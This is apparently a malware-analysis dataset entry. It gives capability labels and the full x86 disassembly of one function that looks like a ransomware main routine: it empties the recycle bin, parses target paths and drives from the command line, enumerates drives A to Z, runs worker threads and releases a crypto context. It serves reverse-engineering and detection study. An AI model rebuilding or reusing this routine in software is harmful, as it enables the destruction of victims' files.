Function at 0x40abf0
Capabilities:
Accept command line arguments
Create thread
Empty the recycle bin
Get disk information
Get system information on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88
call fcn.0040fdd0
call fcn.00412d70
call fcn.00404a90
mov dword [0x414200], eax
cmp dword [0x414200], 0
je 0x40b174
mov dword [ebp - 0x1c], 0
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov dword [ebp - 0x30], eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
push 0x403d78
mov ecx, dword [ebp - 0x30]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call fcn.00404c30
add esp, 0xc
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0
je 0x40ac84
mov eax, 4
imul eax, eax, 0
mov ecx, dword [ebp - 0x4c]
mov dword [eax + 0x414130], ecx
mov edx, dword [ebp - 0x4c]
push edx
call fcn.00404dd0
add esp, 4
mov dword [0x4141fc], 1
call fcn.00404780
call fcn.004049c0
call fcn.004046e0
push 7
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHEmptyRecycleBinA]
lea eax, [ebp - 0x88]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0x64], ecx
mov edx, dword [ebp - 0x64]
shl edx, 2
mov dword [ebp - 0x58], edx
mov eax, dword [ebp - 0x58]
shr eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x58]
imul ecx, ecx, 6
push ecx
push 0x414204
call fcn.00412e40
add esp, 8
mov edx, dword [ebp - 4]
imul edx, edx, 3
push edx
push 0x414234
call fcn.00412e40
add esp, 8
mov eax, dword [ebp - 4]
shl eax, 2
push eax
call fcn.00412df0
add esp, 4
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 4]
shl ecx, 2
push ecx
call fcn.00412df0
add esp, 4
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x18], 0
je 0x40b157
cmp dword [ebp - 0x20], 0
je 0x40b157
mov edx, dword [ebp - 4]
shl edx, 2
push edx
push 0
mov eax, dword [ebp - 0x18]
push eax
call fcn.00412d80
add esp, 0xc
mov ecx, dword [ebp - 4]
shl ecx, 2
push ecx
push 0
mov edx, dword [ebp - 0x20]
push edx
call fcn.00412d80
add esp, 0xc
mov dword [ebp - 0x28], 0
jmp 0x40ad5f
mov eax, dword [ebp - 0x28]
add eax, 1
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x28]
cmp ecx, dword [ebp - 4]
jae 0x40ada5
push 0
push 0
push 1
push 0x40a810
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x18]
mov dword [ecx + edx*4], eax
push 0
push 0
push 0
push 0x40a810
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x20]
mov dword [ecx + edx*4], eax
jmp 0x40ad56
push 0x403d84
mov edx, dword [ebp - 0x30]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call fcn.00404c30
add esp, 0xc
mov dword [ebp - 8], eax
push 0x403d94
mov ecx, dword [ebp - 0x30]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call fcn.00404c30
add esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 8], 0
je 0x40ae92
mov dword [ebp - 0x3c], 1
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x2c], 0
jmp 0x40ae05
mov ecx, dword [ebp - 0x2c]
add ecx, 1
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0x2c]
cmp edx, dword [ebp - 0x5c]
jge 0x40ae33
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 8]
movzx edx, word [ecx + eax*2]
cmp edx, 0x2c
jne 0x40ae31
xor eax, eax
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 8]
mov word [edx + ecx*2], ax
mov eax, dword [ebp - 0x3c]
add eax, 1
mov dword [ebp - 0x3c], eax
jmp 0x40adfc
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea edx, [eax + eax + 2]
push edx
call fcn.00412df0
add esp, 4
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x44]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov edx, dword [ebp - 0x44]
push edx
call fcn.0040a9d0
add esp, 4
mov eax, dword [ebp - 0x44]
push eax
call fcn.00412e20
add esp, 4
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edx, dword [ebp - 8]
lea eax, [edx + eax*2 + 2]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x3c]
sub ecx, 1
mov dword [ebp - 0x3c], ecx
jne 0x40ae33
cmp dword [ebp - 0xc], 0
je 0x40af90
mov dword [ebp - 0x24], 1
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x34], 0
jmp 0x40aec2
mov eax, dword [ebp - 0x34]
add eax, 1
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x34]
cmp ecx, dword [ebp - 0x60]
jge 0x40aef0
mov edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0xc]
movzx ecx, word [eax + edx*2]
cmp ecx, 0x2c
jne 0x40aeee
xor edx, edx
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0xc]
mov word [ecx + eax*2], dx
mov edx, dword [ebp - 0x24]
add edx, 1
mov dword [ebp - 0x24], edx
jmp 0x40aeb9
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax + eax + 2]
push ecx
call fcn.00412df0
add esp, 4
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 2
jne 0x40af55
mov edx, 2
shl edx, 0
mov eax, dword [ebp - 0x14]
movzx ecx, word [eax + edx]
cmp ecx, 0x3a
jne 0x40af55
mov edx, 2
imul edx, edx, 0
mov eax, dword [ebp - 0x14]
movzx ecx, word [eax + edx]
push ecx
call fcn.0040ab00
add esp, 4
jmp 0x40af61
mov edx, dword [ebp - 0x14]
push edx
call fcn.0040a610
add esp, 4
mov eax, dword [ebp - 0x14]
push eax
call fcn.00412e20
add esp, 4
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edx, dword [ebp - 0xc]
lea eax, [edx + eax*2 + 2]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x24]
sub ecx, 1
mov dword [ebp - 0x24], ecx
jne 0x40aef0
cmp dword [ebp - 0xc], 0
jne 0x40b080
cmp dword [ebp - 8], 0
jne 0x40b080
push 0x403da0
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
jne 0x40afcb
push 0x403dc0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
jmp 0x40afd5
jmp 0x40b080
mov dword [ebp - 0x54], 0
push 0x403de0
mov edx, dword [ebp - 0x30]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call fcn.00404b30
add esp, 0xc
movzx ecx, al
cmp ecx, 1
jne 0x40b005
mov edx, dword [ebp - 0x54]
push edx
call fcn.0040a900
add esp, 4
call fcn.004044b0
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
je 0x40b058
mov eax, 0x41
mov word [ebp - 0x10], ax
jmp 0x40b030
mov cx, word [ebp - 0x10]
add cx, 1
mov word [ebp - 0x10], cx
movzx edx, word [ebp - 0x10]
cmp edx, 0x5a
jg 0x40b058
mov eax, dword [ebp - 0x40]
and eax, 1
je 0x40b04e
movzx ecx, word [ebp - 0x10]
push ecx
call fcn.0040ab00
add esp, 4
mov edx, dword [ebp - 0x40]
shr edx, 1
mov dword [ebp - 0x40], edx
jmp 0x40b024
push 0x403de8
mov eax, dword [ebp - 0x30]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.00404b30
add esp, 0xc
movzx edx, al
test edx, edx
jne 0x40b080
mov eax, dword [ebp - 0x54]
push eax
call fcn.0040a900
add esp, 4
mov dword [ebp - 0x48], 0
jmp 0x40b092
mov ecx, dword [ebp - 0x48]
add ecx, 1
mov dword [ebp - 0x48], ecx
mov edx, dword [ebp - 0x48]
cmp edx, dword [ebp - 4]
jae 0x40b0ad
push 1
push 0
push 0x414234
call fcn.00412f60
add esp, 0xc
jmp 0x40b089
push 0xffffffffffffffff
push 1
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x50], 0
jmp 0x40b0d1
mov edx, dword [ebp - 0x50]
add edx, 1
mov dword [ebp - 0x50], edx
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 4]
jae 0x40b0ec
push 1
push 0
push 0x414204
call fcn.00412f60
add esp, 0xc
jmp 0x40b0c8
push 0xffffffffffffffff
push 1
mov ecx, dword [ebp - 0x20]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
call fcn.004046e0
mov dword [ebp - 0x38], 0
jmp 0x40b115
mov eax, dword [ebp - 0x38]
add eax, 1
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x38]
cmp ecx, dword [ebp - 4]
jae 0x40b13f
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + edx*4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax + edx*4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40b10c
mov edx, dword [ebp - 0x18]
push edx
call fcn.00412e20
add esp, 4
mov eax, dword [ebp - 0x20]
push eax
call fcn.00412e20
add esp, 4
cmp dword [0x4141fc], 0
je 0x40b165
call fcn.00404e10
push 0
mov ecx, dword [0x414200]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]